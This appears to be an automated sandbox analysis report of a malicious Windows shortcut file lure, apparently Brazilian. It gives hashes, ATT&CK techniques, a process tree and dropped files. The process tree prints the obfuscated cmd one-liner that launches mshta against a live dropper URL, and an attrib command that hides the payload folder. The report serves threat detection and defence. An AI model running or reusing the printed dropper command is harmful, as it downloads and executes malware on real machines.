256b583638eef167aed5c83150ed5f798877c43d96b8fbf0c53d05f770cc1de0

General

Target
Contrato_Indeniza_Brasil-L071QZ.lnk
Size 1KB
Sample260803-py3dasbk7s
SHA256 256b583638eef167aed5c83150ed5f798877c43d96b8fbf0c53d05f770cc1de0
MD5 d14a8efb1fc0d21121eba22bbc3b91da
SHA1 43df1b676e78586cbe4bdf99b7597e915e906c87
SHA512 aa1a8ad5d9dbb860227e32f87169ad9e9be995752c1062d9d09a016cbd634dbada0da50c55c54bf6925d7d8d9fc655b2772b23ee200c81cd6a07ee8a29495ad1
TLSH
T1D83197503EFD0614F2B3CE7685BB7B1199BBF9A68E20CA4E40804A4C1062A00E57BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 11 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	4232	mshta.exe
8	4232	mshta.exe
9	4232	mshta.exe
12	4232	mshta.exe
13	4232	mshta.exe
14	4232	mshta.exe
15	4232	mshta.exe
16	4232	mshta.exe
18	4232	mshta.exe
19	4232	mshta.exe
20	4232	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4228	cmd.exe
3500	cmd.exe
3156	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3500	cmd.exe
5640	PING.EXE

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5640	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4208	rundll32.exe
4608	rundll32.exe
5548	rundll32.exe
5864	rundll32.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3156 wrote to memory of 4228	3156	cmd.exe	91
PID 4228 wrote to memory of 4232	4228	cmd.exe	92
PID 4232 wrote to memory of 4608	4232	mshta.exe	95
PID 4232 wrote to memory of 4208	4232	mshta.exe	96
PID 4232 wrote to memory of 5548	4232	mshta.exe	97
PID 4232 wrote to memory of 5864	4232	mshta.exe	98
PID 4232 wrote to memory of 5700	4232	mshta.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5700	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-L071QZ.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3156
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set aFw=msh&&set RXMw=ta&&start "" !aFw!!RXMw! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4232
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:4608
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:5808
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:4208
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4856
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5548
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:2056
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5864
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:2104
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\tkwppqin\"
      4⤵
      Views/modifies file attributes
      PID:5700
  - - C:\tkwppqin\tkwppqin.exe
      "C:\tkwppqin\tkwppqin.exe" C:\tkwppqin\tkwppqin
      4⤵
      PID:4556
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:4340
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4448
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:3500
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5640

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a1.zip

Path C:\tkwppqin\a1.zip
Size 494KB
SHA256 4048533753fb2f9f65b24fb71ab5ba93f050ee57dcebe52fd19bde0742ae73ce
MD5 bb6879b6dde9adcdba2396a8e500fd59
SHA1 54d6df67d1eb87182d7a784ac822dc47e8e4693e
SHA512 fba8e5cbea56e2ec5167e4c1a13257efa1ab45fe0fa82edd57ce3809caf6490697af16558ab37bb53c9782421097fe5f7a01afef09954d38165ae554167cb9e6
SSDEEP 12288:hxU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrIF:hq7hblmK/dgGeVlk22aCarIF
TLSH
T15CB4231C22C4BD086D3D97FB58539F7405E6269E14B8024CE18B73C4ABCEF815F829E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a2.zip

Path C:\tkwppqin\a2.zip
Size 1.3MB
SHA256 c39128658f84a6b6923c70ce0d553d049b363fbdbd8028dca1ec7eaa7f6d06bb
MD5 a9acadf51cf377a6f3f9feafe854dd67
SHA1 da5fae8f02a2d8e7251ab491e665f8b1c2af8599
SHA512 1269f2225e6100c8eec1527617a12aaaaaf8d504f72bcb2792e5600824a7c0c473e64a0c564f6b1be858eb2150caa456f2154a68704dc8a358ab7a5aaf291878
SSDEEP 24576:bAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlyaZ:bAuSw7Ku4xpSd7m7BlgVQmvQJH1t8
TLSH
T106553355B7EDDF14E07D52A1C9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a3.zip

Path C:\tkwppqin\a3.zip
Size 2KB
SHA256 e8ae8ac6085e5188a5a6fbe66b2040fbc8b2ca117f18654e14c12ea3fc2d9f3b
MD5 3146209648e1d587bc9035a0743c2da0
SHA1 05aafdeef5e25c8bd30c5f021bb8adccab654e51
SHA512 aa9111ec3f34c3af3c99635df5bb03f4dc9f25daa2697c347866f58e5fabc89045eb7b784d58e41f403b56d1493184bdea455eab5bc2bac695ac8b2cc327d464
TLSH
T1A8413CE98EACBDA1D68E79789D14587099372DC459C061690EFEFC441230298CA6E42C
MD5 SHA1 SHA512 TLSH

Submit Download

tkwppqin

Path C:\tkwppqin\tkwppqin
Size 1.3MB
SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
MD5 3acd16edf0a4a2c6ece5bdb47bbfe252
SHA1 f2c68a96d6233778d1900a859ff089284c1672f2
SHA512 db484aa924751393a2bb72b482dea0882e2ea077a48f24e9535c1dd4fb49491779832533a50b509770220503952dc01253e62205b3a376ee4660d7c7f3348172
SSDEEP 24576:wAsYBwwc6NnutqPLth3SduIE0mcKppG2RgzTckokmGpVQpHH3tghysG:wAsiw7WuYn3Sdpm7PRgzIYrQhH3tb
TLSH
T121553355B7EDDF04E0BD51A1D9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tkwppqin.exe

Path C:\tkwppqin\tkwppqin.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads